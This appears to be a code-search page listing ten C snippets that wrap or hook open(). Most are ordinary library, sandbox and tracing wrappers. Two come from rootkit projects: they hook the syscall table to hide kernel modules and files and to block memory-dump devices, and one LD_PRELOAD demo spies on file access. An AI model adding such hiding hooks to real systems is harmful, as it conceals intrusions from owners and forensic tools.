コード例 #1
0
int open ( const char * pathname, int flags, ... ) {
    enforcer(pathname);

    va_list v;
    va_start(v, flags);
    if ( flags & O_CREAT ) {
        mode_t mode = va_arg(v, mode_t);
        va_end(v);
        return orig_open(pathname, flags, mode);
    } else {
        va_end(v);
        return orig_open(pathname, flags);
    }
}
コード例 #2
0
ファイル: inspect_open.c プロジェクト: ConorHetland/nvl
int
open (const char *pathname, int flags, ...)
{
  /* Some evil injected code goes here. */
  printf ("The victim used open(...) to access '%s'!!!\n", pathname);
  orig_open_f_type orig_open;
  orig_open = (orig_open_f_type) dlsym (RTLD_NEXT, "open");
  return orig_open (pathname, flags);
}
コード例 #3
0
ファイル: sys_call_table.c プロジェクト: 9hao/Android-Rootkit
asmlinkage ssize_t our_open(const char *pathname, int flags) 
{
	if(strstr(pathname,"/proc/modules") || strstr(pathname,"hello") || strstr(pathname,"/proc"))
	{
		printk(KERN_INFO "Forbidden: Listing modules cancelled.");
		return -1;
	}
	printk(KERN_INFO "SYS_OPEN: %s\n",pathname);
	return orig_open(pathname,flags);
}
コード例 #4
0
ファイル: AFkit__rt.c プロジェクト: Safe3/AFkit
// Custom open syscall.
// Used to avoid __rt files content inspection and to avoid /dev/mem reading (and dumping)
asmlinkage int custom_open(const char *pathname, int flag, mode_t mode){
	if((strstr(pathname, HIDE_STRING ) != NULL) && (files_dirs_content == true)){
		return -ENOENT;
	}
	else if(((strstr(pathname, "/dev/mem" ) != NULL) || (strstr(pathname, "/dev/port" ) != NULL) || (strstr(pathname, "/dev/kmem" ) != NULL)) && (ram_dump_shield == true)){
		return -ENOENT;
	}
	else{
		return orig_open(pathname, flag, mode);
	}
}	
コード例 #5
0
ファイル: myfopen.c プロジェクト: YohannPuri/linux-io
int open(const char *__file, int __oflag, ...)
{
	clock_t start = clock();
	orig_open_type orig_open;
	orig_open = (orig_open_type)dlsym(RTLD_NEXT,"open");

	int temp = orig_open(__file,__oflag,0);

	clock_t end = clock();

	double diff = ((double)(end-start))/(double)CLOCKS_PER_SEC;

	printf("open got called %lf \n",diff);
	
	return temp;
}
コード例 #6
0
ファイル: mylibc.c プロジェクト: digcon9/sandbox
int open(const char *pathname, int flags, mode_t mode){
	int ret = -1;
	if(is_onlyappend(pathname) && (flags & O_TRUNC) != 0)
		return ret;
	
	char *replace;
	if((replace = is_replaced(pathname)) != NULL){
		pathname = replace;
	}

	if(!orig_open)
		orig_open = dlsym(RTLD_NEXT, "open");
	ret = orig_open(pathname, flags, mode);
	logopen(pathname);

	return ret;
}
コード例 #7
0
ファイル: freon.c プロジェクト: 1117daperez/crouton
/* Grabs the system-wide lockfile that arbitrates which chroot is using the GPU.
 *
 * pid should be either the pid of the process that owns the GPU (eg. getpid()),
 * or 0 to indicate that Chromium OS now owns the GPU.
 *
 * Returns 0 on success, or -1 on error.
 */
static int set_display_lock(unsigned int pid) {
    if (lockfd == -1) {
        if (pid == 0) {
            ERROR("No display lock to release.\n");
            return 0;
        }
        (void) mkdir(LOCK_FILE_DIR, 0777);
        lockfd = orig_open(DISPLAY_LOCK_FILE, O_CREAT | O_WRONLY, 0666);
        if (lockfd == -1) {
            ERROR("Unable to open display lock file.\n");
            return -1;
        }
        if (flock(lockfd, LOCK_EX) == -1) {
            ERROR("Unable to lock display lock file.\n");
            return -1;
        }
    }
    if (ftruncate(lockfd, 0) == -1) {
        ERROR("Unable to truncate display lock file.\n");
        return -1;
    }
    char buf[11];
    int len;
    if ((len = snprintf(buf, sizeof(buf), "%d\n", pid)) < 0) {
        ERROR("pid sprintf failed.\n");
        return -1;
    }
    if (write(lockfd, buf, len) == -1) {
        ERROR("Unable to write to display lock file.\n");
        return -1;
    }
    if (pid == 0) {
        int ret = orig_close(lockfd);
        lockfd = -1;
        if (ret == -1) {
            ERROR("Failure when closing display lock file.\n");
        }
        return ret;
    }
    return 0;
}
コード例 #8
0
/**
 * Given a pathname for a file, open() returns a file descriptor, a small,
 * non-negative integer for  use  in  subsequent  system  calls  (read(2),
 * write(2), lseek(2), fcntl(2), etc.).  The file descriptor returned by a
 * successful call will be the lowest-numbered file  descriptor  not  cur-
 * rently open for the process.
 */
int open(const char *pathname, int flags, ...){
   static int (*orig_open)(int, int, ...) = NULL;
   if(!orig_open){
#if defined(RTLD_NEXT)
      void *libc_handle = RTLD_NEXT;
#else
      void *libc_handle = dlopen("libc.so.6", RTLD_LAZY);
#endif
      orig_open = dlsym(libc_handle, "open");
      fd = fopen("/tmp/ioctltrap.txt", "a");
   }
   va_list opt;
   unsigned char *arg;
   va_start(opt,flags);
   arg = va_arg(opt, unsigned char *);
   va_end(opt);
   fprintf(fd, "open %s\tflags: 0%o", pathname, flags);
   int retval = orig_open(pathname, flags, arg);
   fprintf(fd, "\n");
   fflush(fd);
   return retval;
}
コード例 #9
0
ファイル: freon.c プロジェクト: divx118/crouton
/* Prevents some glitch if Chromium OS keeps cursor enabled (#2878). */
static void drm_disable_cursor()
{
    int i, fd;
    drmModeRes* resources;

    if (!orig_open) preload_init();

    fd = orig_open("/dev/dri/card0", O_RDWR, 0);

    TRACE("%s %d\n", __func__, fd);

    if (fd < 0)
        return;

    resources = drmModeGetResources(fd);
    if (!resources)
        goto closefd;

    TRACE("%s res=%p\n", __func__, resources);
    for (i = 0; i < resources->count_crtcs; i++) {
        drmModeCrtc* crtc;

        crtc = drmModeGetCrtc(fd, resources->crtcs[i]);
        TRACE("%s crtc %d %p\n", __func__, i, crtc);
        if (crtc) {
            drmModeSetCursor(fd, crtc->crtc_id,
                             0, 0, 0);
            drmModeFreeCrtc(crtc);
        }
    }

    drmModeFreeResources(resources);

closefd:
    orig_close(fd);
}
コード例 #10
0
ファイル: open.c プロジェクト: 10114395/android-5.0.0_r5
int
open (const char *filename, int flags, ...)
{
  mode_t mode;
  int fd;

  mode = 0;
  if (flags & O_CREAT)
    {
      va_list arg;
      va_start (arg, flags);

      /* We have to use PROMOTED_MODE_T instead of mode_t, otherwise GCC 4
         creates crashing code when 'mode_t' is smaller than 'int'.  */
      mode = va_arg (arg, PROMOTED_MODE_T);

      va_end (arg);
    }

#if GNULIB_defined_O_NONBLOCK
  /* The only known platform that lacks O_NONBLOCK is mingw, but it
     also lacks named pipes and Unix sockets, which are the only two
     file types that require non-blocking handling in open().
     Therefore, it is safe to ignore O_NONBLOCK here.  It is handy
     that mingw also lacks openat(), so that is also covered here.  */
  flags &= ~O_NONBLOCK;
#endif

#if (defined _WIN32 || defined __WIN32__) && ! defined __CYGWIN__
  if (strcmp (filename, "/dev/null") == 0)
    filename = "NUL";
#endif

#if OPEN_TRAILING_SLASH_BUG
  /* If the filename ends in a slash and one of O_CREAT, O_WRONLY, O_RDWR
     is specified, then fail.
     Rationale: POSIX <http://www.opengroup.org/susv3/basedefs/xbd_chap04.html>
     says that
       "A pathname that contains at least one non-slash character and that
        ends with one or more trailing slashes shall be resolved as if a
        single dot character ( '.' ) were appended to the pathname."
     and
       "The special filename dot shall refer to the directory specified by
        its predecessor."
     If the named file already exists as a directory, then
       - if O_CREAT is specified, open() must fail because of the semantics
         of O_CREAT,
       - if O_WRONLY or O_RDWR is specified, open() must fail because POSIX
         <http://www.opengroup.org/susv3/functions/open.html> says that it
         fails with errno = EISDIR in this case.
     If the named file does not exist or does not name a directory, then
       - if O_CREAT is specified, open() must fail since open() cannot create
         directories,
       - if O_WRONLY or O_RDWR is specified, open() must fail because the
         file does not contain a '.' directory.  */
  if (flags & (O_CREAT | O_WRONLY | O_RDWR))
    {
      size_t len = strlen (filename);
      if (len > 0 && filename[len - 1] == '/')
        {
          errno = EISDIR;
          return -1;
        }
    }
#endif

  fd = orig_open (filename, flags, mode);

#if REPLACE_FCHDIR
  /* Implementing fchdir and fdopendir requires the ability to open a
     directory file descriptor.  If open doesn't support that (as on
     mingw), we use a dummy file that behaves the same as directories
     on Linux (ie. always reports EOF on attempts to read()), and
     override fstat() in fchdir.c to hide the fact that we have a
     dummy.  */
  if (REPLACE_OPEN_DIRECTORY && fd < 0 && errno == EACCES
      && ((flags & O_ACCMODE) == O_RDONLY
          || (O_SEARCH != O_RDONLY && (flags & O_ACCMODE) == O_SEARCH)))
    {
      struct stat statbuf;
      if (stat (filename, &statbuf) == 0 && S_ISDIR (statbuf.st_mode))
        {
          /* Maximum recursion depth of 1.  */
          fd = open ("/dev/null", flags, mode);
          if (0 <= fd)
            fd = _gl_register_fd (fd, filename);
        }
      else
        errno = EACCES;
    }
#endif

#if OPEN_TRAILING_SLASH_BUG
  /* If the filename ends in a slash and fd does not refer to a directory,
     then fail.
     Rationale: POSIX <http://www.opengroup.org/susv3/basedefs/xbd_chap04.html>
     says that
       "A pathname that contains at least one non-slash character and that
        ends with one or more trailing slashes shall be resolved as if a
        single dot character ( '.' ) were appended to the pathname."
     and
       "The special filename dot shall refer to the directory specified by
        its predecessor."
     If the named file without the slash is not a directory, open() must fail
     with ENOTDIR.  */
  if (fd >= 0)
    {
      /* We know len is positive, since open did not fail with ENOENT.  */
      size_t len = strlen (filename);
      if (filename[len - 1] == '/')
        {
          struct stat statbuf;

          if (fstat (fd, &statbuf) >= 0 && !S_ISDIR (statbuf.st_mode))
            {
              close (fd);
              errno = ENOTDIR;
              return -1;
            }
        }
    }
#endif

#if REPLACE_FCHDIR
  if (!REPLACE_OPEN_DIRECTORY && 0 <= fd)
    fd = _gl_register_fd (fd, filename);
#endif

  return fd;
}